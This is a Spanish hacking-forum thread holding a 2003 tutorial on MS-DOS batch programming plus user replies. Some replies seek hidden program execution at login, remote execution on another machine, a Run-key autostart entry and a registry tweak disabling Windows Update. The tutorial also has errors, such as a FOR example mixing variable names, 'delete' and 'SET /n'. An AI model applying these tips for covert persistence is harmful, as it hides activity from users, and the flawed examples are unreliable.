Foro de elhacker.net

Informática => Tutoriales - Documentación => Mensaje iniciado por: soplo en 8 Septiembre 2003, 14:29 pm



Título: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 8 Septiembre 2003, 14:29 pm
Hola
Viendo que hay muchas personas que preguntan a menudo sobre este tema he decidido poner un pequeño texto que explique como funciona y que se puede hacer.

Posiblemente ya hay algún otro, pero yo no lo he visto.

Espero que le sea de utilidad a alguien
********************************************
Introducción
Antes que nada indicaros que se llaman procesos batch. La razón por la que a menudo se alude a ellos como bat es porque el entorno msdos requiere como máximo tres letras en la extensión y por tanto los archivos tienen la extensión .bat

¿Qué se puede hacer con ellos?
Pues se puede hacer de forma automatizada todo aquello que se pueda hacer en la consola de msdos.

¿Como hago un archivo bat
Pues son texto plano. Quiere eso decir que se pueden escribir en el block de notas, utilidad Edit de msdos  o algún editor ascii.

Al guardarlos deben tener la notación de nombres propia de msdos. Esto es un nombre con máximo 8 letras (espacios y \ no permitidos), luego un punto y la extensión que en este caso es obligatoriamente bat.

Para crearlos desde la misma consola puedo utilizar varios sistemas

Sistema 1: mediante la orden copy
copy con: nombre_de_archivo.bat
...
...
comandos
...
...
Ctrl z (se acaba y se graba al pulsar Ctrl Z

Método 2 mediante la redirección
echo 1º línea a insertar >nombre_de_archivo.bat
echo restantes líneas >>nombre_de_archivo.bat

En cualquier caso para modificarlos podemos utilizar la utilidad Edit de msdos (abriendo el archivo concreto y luego grabando los cambios) o el block de notas.

¿Qué es eso de la redirección?
Pues al igual que en unix se puede hacer que la salida de un comando sirva como entrada de otro.

Para ello se utilizan los operadores < y > que sirven para indicar que salida debe ir a que lugar

Por ejemplo si yo le doy la orden DIR, esta irá por defecto a la pantalla (dispositivo CON), pero puedo redirigir la salida a la impresora por defecto (dispositivo PRN) de la siguiente forma
dir >prn

Qué son los filtros
Los filtros son órdenes que sirven para formatear la salida del comando de acuerdo a nuestros intereses. Se utilizan mediante la barra vertical (Alt 124).

El filtro SORT sirve para ordenar la salida
dir | sort
El filtro MORE sirve para pausar la salida cada pantalla para que pueda ver todos los datos de salida con tranquilidad. Pasa de pantalla a pantalla al pulsar una tecla
dir | more

¿Como puedo seleccionar varios archivos
Para ello y teniendo en cuenta que los nombres de los archivos deben cumplir la notación de msdos (8 letras sin espacios como máximo, luego un punto y tres letras como máximo de extensión) se pueden utilizar los llamados comodines.
* Equivale a varios caracteres
? equivale a un solo caracter.

Ejemplos
   comando *.cfg -> seleccionar todos los archivos que tengan la extensión cfg
   comando a*.cfg -> seleccionar todos los archivos que comienzen por a y tengan la extensión cfg
   comando a*b.cfg -> seleccionar todos los archivos que comienzen por a, acaben por b y tengan la extensión cfg
   comando *asa*.cfg -> seleccionar todos los archivos que contengan 'asa' y tengan la extensión cfg
   comando c?asa.cfg -> seleccionar todos los archivos que contengan una C, luego un caracter cualquiera y luego 'asa'. Debe tener también la extensión cfg
   comando c?b*.* -> seleccionar todos los archivos que empiezen por c, tengan un caracter cualquiera, luego una b y cualquier extensión
   comando *.b?t -> seleccionar todos los archivos que tengan una extensión que empieze por b, luego un caracter cualquiera y luego una t.

¿Que son las trayectorias o paths?
La trayectoria es el nombre completo de un archivo e indica la situación exacta de un archivo y su nombre.

Si digo que el archivo se llama leeme.txt indico su nombre, pero nada mas. Se da por supuesto que se encuentra en el directorio actual.

Si digo c:\leeme.txt indico que el archivo que me interesa se llama leeme.txt y se encuentra en el directorio raíz de C.

Dado que en msdos no se admiten nombres largos (mas de 8 letras) ni espacios, cuando quiero utilizar un nombre de windows en msdos debo saber que este será reconvertido a su nombre corto. Este se obtiene añadiendo los seis primeros carácteres válidos del nombre, luego el signo ~ (alt 126) y luego un número.

De esta forma un archivo que se encuentre en Mis documentos en win98 tendrá el path
   c:\misdoc~1\leeme.txt

También se pueden utilizar (mientras las comillas para delimitar el nombre
   "c:\Mis Documentos\leeme.txt"
Pero esto solo vale cuando se utiliza msdos como consola (no cuando se inicia windows 98 en modo msdos)

Obsérvese que se utiliza la barra contraria a la de linux/unix para especificar subcarpetas o subdirectorios

Esta sería la trayectoria de mimusica.mp3
c:\misdoc~1\mi~1\mimusica.mp3
Qué equivale a
"c:\Mis Documentos\Mi Música\mimusica.mp3"

Cuales son los nombres de dispositivos
La pantalla se llama CON. Por eso si redirigo algo a CON lo estoy sacando por pantalla.
La impresora por defecto se llama PRN
La primera impresora se llama Lpt1 y las demás Lpt2, Lpt3 (una en cada puerto paralelo instalado en el sistema). Hasta donde yo sé no hay posibilidad de llegar a USB si no es la impresora por defecto.

Como se les llama a las unidades lógicas
Siempre es una letra seguida del signo dos puntos.
   A: = disquetera
   B: = reservada para segunda disquetera
   C: = primera partición (normalmente es la que arranca)
   D: = segunda partición (generalmente el cdrom)
Por eso si se crea una unidad lógica mediante netbios en windows, esta puede tener un nombre msdos para poder acceder a ella desde la consola. La letra que se asigne no puede corresponder a una unidad lógica existente.

¿Qué comandos puedo utilizar?
Comandos básicos
CLS -> borra pantalla
ECHO -> tiene varias posibilidades:
    Echo sin parámetros saca el estado en que se encuentra la variable echo (on u off)
    Echo on activa el echo (como en un terminal TTY) por lo que los comandos se verán en pantalla y luego su resultado
   Echo off desactiva el comando echo y ya se verán los resultados de la ejecución del comando, pero no el comando en sí mismo
   Echo literal saca por pantalla el literal. Por eso al hacer echo literal >fichero.bat estamos redirigiendo la salida de echo literal (que tendría que salir por la pantalla) al archivo fichero.bat.
PAUSE ->Sirve para sacar un mensaje y parar la ejecución hasta que se pulse una tecla
PROMPT ->Sirve para cambiar el prompt de msdos. El más habitual es $p$g que corresponde a
   $p = mostrar trayecto actual
   $g = mostrar el separador >
   $l  = mostrar el separador <
   $b = mostrar el separador |
   $q = mostrar el signo =
   $$ = mostrar el signo $
   $t  = mostrar la hora
   $d = mostrar la fecha
   $v = mostrar la versión del sistema
   $n = mostrar unidad actual
   $h = retroceso. Borra el caracter previo
   $e = esc. Muestra el signo correspondiente al asci 27
   $_ = Retorno de carro y salto de línea (equivale a chr(10) & chr(13)

   Por eso si ponemos prompt $p$g el cursor muestra la trayectoria donde estamos y luego el separador. Es posible añadir texto (por ejemplo prompt Mi_nombre $p$g

DATE
Ver/poner la fecha del sistema
TIME
Ver/poner la hora del sistema
VER
Versión del sistema
VOL unidad
Volumen de la unidad especificada
PATH
Indica un trayecto por defecto si se produce una petición de un archivo que no está en el directorio actual.
Por eso en windows 98 suele haber una línea en autoexec.bat que es
   path c:\windows; c:\windows\command
que indica que si se solicita un ejecutable que no esté en el directorio actual, lo busque primero en la carpeta windows y luego en la subcarpeta command.

KEYB código_pais,juego_de_caracteres,definición_de_teclado,
El código de país de españa es el 'sp'
El juego de caracteres aplicable a españa es el 850 ó 437
El archivo de definición de teclado es keyboard.sys
Para configurar un teclado en español
keyb sp,,c:\windows\command\keyboard.sys

SYS unidad
Transferir el sistema operativo a la unidad especificada.

DOSKEY
Emular la capacidad de unix/linux de recordar los comandos introducidos anteriormente mediante la flecha arriba del teclado.

MEM parámetros
Muestra la memoria usada y libre en el sistema
   /p -> muestra por programas
   /d -> por programas y controladores
   /c -> clasifica por tamaño

Comandos de manejo de archivos
COPY origen destino
   Sirve para copiar archivos de un lugar a otro. el origen debe ser un trayecto completo de donde están los archivos a copiar. Si se omite se entiende que en el directorio actual.
  El destino debe ser una trayectoria completa de donde dejar el/los archivo(s)
   copy miarchivo.txt c:\ (copiarlo al directorio raíz de C)
   copy miarchivo.txt c:\miarch.txt (copiarlo y además cambiarle el nombre a miarch.txt)
   copy *.txt a:\ (copiar todos los archivos que tengan la extensión txt a la unidad A)
   copy *.txt c:\misdoc~1 (copiar todos los archivos que tengan la extensión txt al directorio Mis documentos (cuyo nombre corto es misdoc~1).

DEL archivo(s)
Borrar archivos en seleccionados
   del leeme.txt (borra el archivo leeme.txt en el directorio actual)
   del c:\leeme.txt (borra el archivo leeme.txt que se encuentra en c:\)
   del archiv~1\*.* (borra todos los archivos que se encuentren en el directorio 'Archivos de programa' cuyo nombre corto es archiv~1 (no se borran las subcarpetas)

DELTREE archivo(s) -y
   Borra el arbol especificado (si es un archivo pues el archivo, si es una carpeta pues la carpeta con todas las subcarpetas que incluya).
  Con el parámetro -y no pregunta cada vez
  Este comando en realidad no es un comando sino una utilidad incluída en msdos.

MKDIR nombre (o bien MD nombre)
  Sirve para crear un directorio
   Md micarpeta

CHDIR nombre (o bien CD nombre)
   Sirve para ir al directorio aludido. Se le tiene que dar la trayectoria completa o si no intentará desplazarse desde el directorio actual.
   Cd c:\archiv~1 (se va a archivos de programa)
   Cd .. (se va al directorio superior)

RMDIR nombre (o bien MD nombre)
   Borra un directorio. Este debe estar vacío.
   RD c:\Misdoc~1 (borra Mis Documentos, aunque no podrá porque no está vacío).

DIR trayecto
   Saca una lista del contenido del directorio especificado en el trayecto. Si no se especifica nada, se entiende el actual.
   Si se pone como parámetro /W saca un listado resumido.
   Si se pone como parámetro /P saca un listado utilizando el filtro more.

ATTRIB archivo(s)-> Muestra los atributos de los archivos indicados y en su caso permite cambiarlos.
Los atributos son:
   H -> oculto. Se activa con +h y desactiva con -h
   R -> Lectura. Solo lectura con +r, normal con -r
   S -> Sistema. Se activa con +s y desactiva con -s
   A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado.
Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt)
attrib *.exe +r +r +s (pone a todos los archivos con extensión exe como ocultos, del sistema y read only)

RENAME o REN nombre1 nombre2
Cambiar el nombre de archivo
Ren miarchivo.txt miarchivo2.txt

TYPE archivo
Muestra por pantalla el contenido de un archivo
type miarchivo.txt

Comandos de disco
DISCKCOPY origen destino-> Copia disquetes completos.
Diskcopy a: a: Copia el disquete introducido en la unidad A a un disquete que se introducirá posteriormente en la unidad A

FDISK
Permite editar las particiones del disco duro.
Con la opción /mbr permite borrar el Master Boot Record

FORMAT unidad parámetros
  /q -> formateo rápido
  /s -> Transferir el sistema operativo
Format a: /s formatea el disquete y le transfiere el sistema operativo básico de arranque.

LABEL unidad etiqueta
Cambiar la etiqueta de volumen del disco de la unidad
label a: midisquete
 
MSCDEX
Montar una unidad de CdRom en msdos (solo requerido si se carga msdos sin estar windows cargado previamente (por ejemplo cuando se arranca desde disquete).
Suponiendo un CdRom al que se haya cargado en config.sys con el nombre MiCd
mscdex /d:MiCd

Scandisk unidad parámetros
Para comprobar/reparar el estado del disco
   /autofix -> reparar automáticamente errores
   /surface -> hacer pruebas de superficie
   /checkonly -> no reparar, solo chequear

Comandos para programación
EDIT archivo
Editor de textos utilizado para editar scripts y archivos de texto.

DEBUG archivo parámetros de archivo
Inicia el desensamblador  con el programa indicado al que se le pasan los parámetros especificados.

CHOICEtexto opciones
Se utiliza en programas bat para dar a elegir a un usuario entre un conjunto de opciones
La respuesta se devuelve mediante la variable errorlevel
choice Elija una opción snc
if errorlevel 1 goto ...
if errorlevel 2 goto ...
if errorlevel 3 goto ...
Este ejemplo muestra el literal "elija una opción y da a elegir s (sí), n (no) o C (continuar) por ejemplo
las tres siguientes líneas especifican a donde debe saltar el flujo del programa según la tecla pulsada.

Comandos de red
ARP parámetros
Modificar la tabla arp.
   -a -> mostrar la tabla arp
   -s ip mac -> agregar una entrada a la tabla arp

FTP
Iniciar el cliente ftp

IPCONFIG parámetros
Mostrar las características de configuración de IP
   /all -> muestra toda la información de configuración
   /release adaptador -> libera la ip del adaptador especificado
   /renew adaptador -> renueva la ip para el adaptador especificado
   /flushdns -> purga la caché de resolución de dns
   /registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
   /displaydns -> muestra el contenido de la cache de resolución dns
   
NBTSTAT
Hace un estado de la red por netbios
Tiene muchos parámetros. Consultarlos mediante nbtstat /?

NET parámetros
Comando para el uso de redes netbios
   USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema.
   USE \USER: dominio\usuario para acceder a un dominio
   USE unidad /DELETE eliminar el acceso a unidad compartida.
   SHARE trayecto /REMARK texto -> para compartir un recurso en red
   START -> para comenzar sesión netbios
   STOP -> para detener netbios

NETSTAT
Para ver el estado de la red.
   -a -> mostrar todos los puertos y conexiones
   -n -> mostrar números de puertos y direcciones
   -r -> mostrar la tabla de rutas
   -s -> mostrar estadísticas por protocolo
   -p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas

NSLOOKUP dominio
Muestra el dominio, su ip, dns donde se resuelve y sus alias

PING
Utilizar ICMP para llegar a un determinado nodo

TELNET ip puerto
Utilizar el protocolo telnet para acceso a un servidor exterior

TRACERT destino
tracear el camino hasta llegar al destino especificado

Programación BAT
Para crear un script bat podemos utilizar cualquiera de los métodos expuestos anteriores y utilizar cualquiera de los comandos especificados.

Pueden recibir parámetros según los cuales realizar operaciones u otras.

Un caso especial es el archivo autoexec.bat que se ejecuta automáticamente en windows 98 y anteriores. debe estar en el directorio raíz.

********************************************
Ejemplo 1
Archivo bat crea un disquete de arranque en la unidad A con cdrom montado y teclado en español.

echo off
rem **** esto es un comentario
rem **** formatear disquete y pasarle el sistema
format a: /s
rem **** copiar archivos necesarios para teclado en español
copy c:\windows\command\keyboard.sys a:
copy c:\windows\command\keyb.com a:
rem **** copiar archivos necesarios para montar el cdrom
copy c:\windows\command\mscdex.exe
rem aquí hay que copiar el driver dos del cdrom que
rem viene con el disquete que lo acompaña.
rem copiar otras utilidades prácticas para un disco de inicio
copy c:\windows\command\fdisk.exe a:
copy c:\windows\command\format.exe a:
copy c:\windows\command\deltree.exe  a:

rem crear el archivo de inicio autoexec.bat en disquete
echo keyb sp,,keyboard.sys >a:autoexec.bat
echo path c:\windows;c:\windows\command;a:\ >>a:autoexec.bat
echo mscdex /d:MiCdrom >>a:autoexec.bat

rem crear el archivo de configuración para montar el driver del cdrom
echo dos=high,umb >a:config.sys
echo device=a:\nombre_del_driver.sys /d:MiCdRom >>a:config.sys

echo **************************************
echo      El disco de arranque ha sido creado
echo **************************************

*******************************************
Ejemplo 2
En el caso anterior he puesto la ruta de origen c:\windows\command que es donde se encuentra en windows 98. Sin embargo en Win2k se encuentra en \winnt\win32 por lo que en caso de win2k deberíamos cambiar eso.
Win2k tampoco usa autoexec.bat por lo que para no perderme en diferencias entre uno y otro voy a suponer que en vez de c:\windows\command quiero que el origen sea variable

echo off
rem si no se da parámetro terminar
if %1z = z goto fin
rem **** esto es un comentario
rem **** formatear disquete y pasarle el sistema
format a: /s
rem **** copiar archivos necesarios para teclado en español
copy %1\keyboard.sys a:
copy %1\keyb.com a:
rem **** copiar archivos necesarios para montar el cdrom
copy %1\mscdex.exe
rem copiar utilidades
copy %1\fdisk.exe a:
copy %1\format.exe a:
copy %1\deltree.exe  a:
fin:

para ejecutar este script deberíamos darle un parámetro que será el origen de los archivos. En el caso anterior esto era c:\windows\command. En el caso de Win2k esto es c:\winnt\win32

Miprograma c:\windows\command (para utilizar esta ruta como ruta origen)
Miprograma c:\winnt\win32 (para utilizar esta otra ruta como ruta origen)

********************************************
Ejemplo 3
********************************************
Creación de un archivo para consultas habituales sobre la red

echo off
echo 1 -> examinar netbios
echo 2 -> examinar la red
echo 3 -> examinar dominio
echo 4 -> examinar la tabla de arp
echo 5 -> Acceder a unidad lógica
echo 6 -> Compartir unidad lógica
echo 7 -> Acceder a un dominio
echo pulse una tecla del 1 al 6 para elegir
choice 123456
if errorlevel 1 goto netbios
if errorlevel 2 goto red
if errorlevel 3 goto dominio
if errorlevel 4 goto arp
if errorlevel 5 goto acceder
if errorlevel 6 goto compartir
if errorlevel 7 goto accesodominio
goto fin

netbios:
nbtstat -na
goto fin

red:
netstat -na
goto fin

dominio:
rem %1 es un parámetro del dominio a consultar
nslookup %1
goto fin

arp:
arp -a
goto fin

acceder:
rem %1 es un parámetro de la unidad a acceder. Debe
rem ser del tipo \\ordenador\recurso
net use %1
net start
goto fin

compartir:
rem %1 es el directorio a compartir. Debe ser algo como
rem c:\misdoc~1
rem %2 es el texto que queremos que tenga como nombre largo en windows
net share %1 remark %2
net start
goto fin

accesodominio:
rem %1 es el dominio al que queremos acceder
rem %2 es el usuario al que queremos introducir
net use user %1\%2
net start

fin:


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: TaN€R en 15 Mayo 2004, 14:06 pm
mediante net star podemos ejecutar un archivo ya subido a una maquina remota?

net start \\ip\rutadel archivo que tenemos metido\archivo.exe o lo que sea  -h
esto es valido?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 16 Mayo 2004, 07:58 am
Hola
No, net start inicia sesiones de red. Lo puedes utilizar para autentificarte en un dominio iniciando una sesión combinando con logon.

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: TaN€R en 16 Mayo 2004, 08:06 am
gracias soplo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ..SnIgCiO.. en 22 Mayo 2004, 03:13 am
y como seria para borrar una clave del registro?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 22 Mayo 2004, 06:31 am
Hola
No se puede acceder al registro mediante la programación bat. Lo que deberías hacer es una aplicación de consola que accediera al registro y llamarla desde un script bat.

Naturalmente tendrías que tener permiso para modificarlo si es lo que deseas.

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: rakel en 24 Mayo 2004, 20:03 pm
..SnIgCiO.. para modificar el registro lo que necesitas crear es un .reg y ejecutarlo aligual que los .bat lo puedes hacer con el notepad....un ejemplo:


Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU]
"NoAutoRebootWithLoggedOnUsers"=dword:1
"NoAutoUpdate"=dword:1
"AUOptions"=dword:2
"UseWUServer"=dword:1


"NoAutoRebootWithLoggedOnUsers"=nombre de la clave
dword:= tipo de clave
1= valor de la clave


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 26 Mayo 2004, 05:33 am
Hola
Efectivamente lo que te pone rakel está bien.

Solo que para que funcione tienes que tener derecho a modificar el registro.

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: SpeDhy en 2 Junio 2004, 11:36 am
Aprovecho con esto de los bat, me gustaría que alguien me diera un ejemplo con el comando AT, para hacerlo ejecutar todos los dias a una misma hora, he intentado hacerlo pero no me ha salido, lo que si he podido es ejecutar una tarea en el dia actual a una hora específica, me sería de mucha ayuda si me pudieran aportar un ejemplo de como se puede hacer.

Citar
y como seria para borrar una clave del registro?

Con esto he podido borrar y agregar valores al registro, espero que te sirva.

Código:
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Nombre_Del_Valor /t REG_EXPAND_SZ /d "Ruta_Hacia_el_archivo"

saludos...

PD:Muy buen manual soplo ;)


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: TaN€R en 3 Junio 2004, 04:46 am
hola,se me presenta una duda y problema,que creo
NO tiene solución.

Se trata de un programa sencillo ,un bat de este tipo:

Citar

@echo off
cd c:
cd juegos
start c:\mame32.exe -h

Tan simple como esas lineas de codigo.
Tan simple como meterlo
en la ruta menú inicio/programas/inicio,y
en efecto se ejecuta al entrar en mi escritorio.

problemas? SI.  Se supone que tiene que"rular" oculto el mame,pues asi está programado.

Sin embargo puede apreciarse al entrar,como se abre
una ventana msdos,que dura milisemas de segundo,en volverse a cerrar.

Luego no se ven los juegos,pero estan corriendo según veo
en el administrador de tareas.osea,que,todo bien menos
lo de la ventanita.Se vé y se detecta.
No se como conseguir que esa ventana no se vea ,ni
un milisegundo,ni medio.

es posible?que hago mal?gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 3 Junio 2004, 05:37 am
Hola
El comando 'echo off' indica que no se saquen comandos ni resultados por pantalla.

También puedes iniciar una línea con el caracter '@'. Por ejemplo @copy *.* c: no mostrará ningún resultado.

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: TaN€R en 3 Junio 2004, 06:08 am
ya he efectuado los cambios,aún no lo he probado.
Gracias por aclarar mis dudas.
PosTEAré de new,si alguna duda "me llama",para
recibir un nuevo"soplo"de aprendizaje.
salu2 : )


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: itant en 3 Junio 2004, 21:02 pm
Una pregunta, cómo podría leer un fichero desde un bat?

me refiero a si hay alguna opción de leer un fichero tipo txt e ir leyendo linea por linea dicho fichero desde un bat hasta acabar el fichero (end of file).

saludos!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 5 Junio 2004, 02:42 am
Hola
Puedes utilizar el comando type con el filtro more para que al llenar la pantalla se pare.
type archivo | more

También puedes enviarlo a la impresora por ejemplo
type archivo >lpt1

Un saludo


Título: AYUUUUDAAAAA
Publicado por: billyboca en 8 Junio 2004, 04:02 am
por favor neceesito la sabiduria de SOPLO.....quiero saber i hay forma de usa el comando COPY para copiar subcarpetas..-...intenté con varias cosas....incluso usé COPY /? pero la ayuda no decia nada de eso....si me podes ayudar con eso te hago un monumento!!!! ;D MIL GRACIASSSS
ADIOSSSSSSS


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 8 Junio 2004, 23:32 pm
Hola
Citar
neceesito la sabiduria de SOPLO
;D ;D ;D

Bueno, mi excelsa majestad te concede audiencia
 ;D ;D ;D

Para copiar una carpeta y los subdirectorios que incluye en vez de utilizar el comando copy debes utilizar el comando extendido xcopy de la siguiente forma:

XCOPY origen destino /S /E

El parámetro /S indica que debe copiar las subcarpetas
El parámetro /E indica que debe crear subcarpetas aunque estén vacías (para preservar la estructura del arbol que copias).
Hay mas opciones. Para verlas haces xcopy /?

Ejemplo
xcopy "c:\archivos de programa" f: /s /e

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: TaN€R en 9 Junio 2004, 04:01 am
Soplo,me recuerdas con esa majestuosa forma de hablar,
a algunos episodios del libro de don quijote,que estoy
leyendo,con dibujos y todo pero el libro en sí = escrito.


Bueno ,sigo teniendo problemas,en mi caso,aunque
ponga el comando @echo off (Que según te entendi evita
que se muestren resultados por pantalla),no cumple al 100%
su misión.

Es decir sale una ventana dura 1 segundo o menos.
pone exactamnte:

c:\windos\system32\cmd.exe
y el archivo bat sta asi compuesto

Citar

@echo off
cd c:
cd docume~1
cd yo
cd scritorio
cd joyita
start lokesea.exe -h

Si vuesa merced tiene tiempo,demé a mí otro soplo
de sabiduria ;D


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 9 Junio 2004, 06:20 am
Hola
Ummm bueno vale ¡Te concedo audiencia!
 ;D ;D ;D

Lo que te pasa es que al llamar al bat (o cmd) durante unos segundos te sale la shell. Luego el archivo en sí mismo no saca ninguna línea.

La forma de evitarlo seguramente es ejecutarlo minimizado ¿Has probado a ponerle en las propiedades a ese archivo que se ejecute minimizado?

¿Donde coño han metido mis molinoooossss?
 ;D


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: TaN€R en 9 Junio 2004, 07:12 am
y digo yo vuesa merced,si esa  orden de ejecutarse minimizado,podria incluirse dentro de mi superarchivo bat,
como un mandato más;
 y de qué modo se podria hacer susodicha orden,en
caso de poderse hacer,

Más, espero,   no haberos confundido con mi juego de palabras,pues no era ese mi acometido,sino más bien,
el de resolver dicho mandato,de la forma más caballeresca posible.

Si lo consigo prometo enseñarselo a la sinpar Dulcinea del toboso,xD
 ;D


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 9 Junio 2004, 08:58 am
Hola
Le das con el botón de la derecha al acceso directo que has puesto en el menú inicio y eliges propiedades.

Allí tienes una opción para ejecutar en pantalla completa, normal o minimizado.

Un saludo

P.D.
¡KOMO TE ACERKES A DULZINEA TE MACHAKO LOS WEBOS!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 11 Junio 2004, 09:25 am
Amplío un poco la información anterior con los comandos mas complejos y difíciles de entender:


------------------------------------------------------------------------------
COMANDO IF
Sirve para hacer bifurcaciones en el código.
Admite 6 sintaxis distintas:

IF EXIST nombre_fichero ORDEN
( si existe nombre_fichero ejecutar la orden especificada en ORDEN)

IF NOT EXIST nombre_fichero ORDEN
( igual, pero si no existe el fichero)

IF cadena1 == cadena2 ORDEN
( si cadena1 es igual a cadenado2 ejecutar la orden especificada en ORDEN)

IF NOT cadena1 == cadena2 ORDEN
( si cadena1 es distinta de cadena2 hacer orden )

IF ERRORLEVEL número ORDEN
( si el comando anterior acabó con un código de error es igual o superior a número hacer orden )

IF NOT ERRORLEVEL número ORDEN
( si el comando anterior acabó con un código de error inferior a número )

----------------------------------------------------------------------------------
COMANDO FOR
Esta orden repite la orden especificada para cada entrada de una lista de ficheros (separados por espacios). En esta lista se pueden emplear comodines.

La variable siempre lleva dos veces el signo %

FOR %%variable IN lista DO ORDEN

Por ejemplo
FOR %%x IN (texto1.txt texto2.txt texto3.txt) do delete %%i
Esta orden haría lo siguiente: repetiría 3 veces la orden delete. En cada vez %%i valdría cada valor de la lista de manera que la primera vez sería texto1.txt, la segunda vez texto2.txt y la tercera vez texto3.txt.

Así esta orden haría:
DELETE TEXTO1.TXT
DELETE TEXTO2.TXT
DELETE TEXTO3.TXT

---------------------------------------------------------------------------------
VARIABLES DE ENTORNO
Se pueden declarar variables.

SET variable = valor
Declara una variable de tipo string cuyo contenido es valor

SET /n variable = valor1 + valor2 + valor3
Declara una variable numérica cuyo contenido es el resultado de la operación.

También hay algunas variables que ya vienen declaradas como la variable PATH, OS, por ejemplo. Estas variables que ya vienen declaradas puedes verlas en propiedades de mi pc, avanzado, variables de entorno y están a tu disposición en ficheros por lotes (bat)

Para referirte a cualquiera de estas variables las pones entre los signos %
Así para saber saber si tu sistema operativo es win98 haces
IF %os% == WINDOWS98 ECHO ES WINDOWS 98

Por último están las variables que utilizas en un for que tienen siempre dos veces el signo % delante.

--------------------------------------------------------------------------------
ETIQUETAS

Se pueden definir etiquetas que se utilizarán para saltar a ellas cuando se cumpla una condición. Para definir una etiqueta pones una línea que empiece por : y luego el nombre de la etiqueta

Por ejemplo
ORDEN 1
ORDEN 2
if %os% == Winnt goto winnt
echo se hace esta línea si no es winnt
goto fin
:winnt
echo se hace esta línea si es winnt el sistema operativo
:fin

----------------------------------------------------------------------------
PARAMETROS REEMPLAZABLES

A menudo en este tipo de archivos tu quieres poder pasarle parámetros. Estos parámetros sirven para que el script haga una cosa u otra en función del parámetro que le pasas. Por ejemplo si tienes un archivo bat cuyo nombre es AVERIGUARSISTEMAOPERATIVO.BAT tu puedes hacer lo siguiente:
AVERIGUARSISTEMAOPERATIVO windows98
AVERIGUARSISTEMAOPERATIVO win2000
AVERIGUARSISTEMAOPERATIVO winxp

En los tres casos llamas al mismo script AVERIGUARSISTEMAOPERATIVO, pero en cada caso le pasas un parámetro diferente. En el primero le pasas windows98, en el segundo le pasas win2000 y en el tercero le pasas winxp.

Para referirte al parámetro en el código debes saber que el sistema les asigna nombre de forma automática. Ál primero le llama %1, al segundo %2, al tercero %3, ..., al mil %1000

Así yo podría tener un archivo bat llamado AVERIGUARSISTEMAOPERATIVO.BAT que me confirma si mi sistema operativo es el que yo creo. Su código sería
if %os% == %1 goto correcto
echo El sistema operativo NO es %1
goto fin
:correcto
echo el sistema operativo SI es %1
:fin

Suponiendo que mi sistema operativo fuera winxp de los tres casos antes citados, los dos primeros obtendría 'el sistema operativo NO es X (siendo X windows98 o windows2000)

En el tercer caso obtendría 'el sistema operativo SI es winxp porque la cadena %os% es igual a la cadena %1. Ambas son winxp


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: armonight en 15 Junio 2004, 09:44 am
hola mi nombre es sebastian
amo la programacion
necesito ayuda para crear un archivo bat que elimine

los archivos temporales de internet - el historial - los archivos de la carpeta temp en conf local -  doc recientes
tengo claro que los nombres que tengan mas de 8 caracteres o espacio debo escribirlos asi  c:\Documents and Settings\Administrador\Config~1


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: TaN€R en 15 Junio 2004, 10:25 am
muy bueno soplo,y para los que menos saben ,
un pequeño apunte,para que lo entiendan mejor,todo.


una variable que es?
quieres hacer una agenda de telefonos,por ejemplo.

pues lo primero es declarar las variables

ejemplo:
 set variable= agenda
set agenda=luis,pepe,paco,soplo

el if es una "condición",muy usada en programación,
en los diferentes lenguajes.Condiciona

if viene a decir "Si hago esto...

(Si se cumple una condición hago una determinada cosa).

Dicen que antes de hacer un programa bat o lo que sea,
se debe escribir el pseudocodigo.
 pseudocodigo creo que se llama,
algo asi como hacer un esquema de lo que vas ha hacer
antes de hacerlo,sobre lapiz y papel

por cierto ¿como se insertaba un comentario que no se
muestre?es decir una aclaracion para nosotros mismos,
pero que no se vea en el programa,se que con action script
era algo asi
//este es mi comentario y no se mostrará,

es igual con los bat?


Por cierto soplo estaria muy bien,hacer algun programa
los que manejen bien , bien el tema,y postearlo aqui.con
sus explicaciones debidas.
dar ideas,comentar y participar construyendo nuevos bat prácticos.

estaria muy bien





Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 15 Junio 2004, 23:23 pm
Citar
¿como se insertaba un comentario que no se
muestre?
REM comentario

Citar
Por cierto soplo estaria muy bien,hacer algun programa
los que manejen bien , bien el tema,y postearlo aqui.con
sus explicaciones debidas.
dar ideas,comentar y participar construyendo nuevos bat prácticos.
No me parece una buena porque la mayoría de los casos en los que se usan estas cosas suelen ser en scripts de inicio para usuarios y perfiles en dominios y por tanto hay se mezclan varias cosas además de complicarse bastante.

Creo que esos ejemplos serían ilegibles, porque a menos que te hayas enfrentado con perfiles de usuario y scripts de inicio de sesión en dominios no sabes ni de lo que te hablan y aún así cada caso es diferente.

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
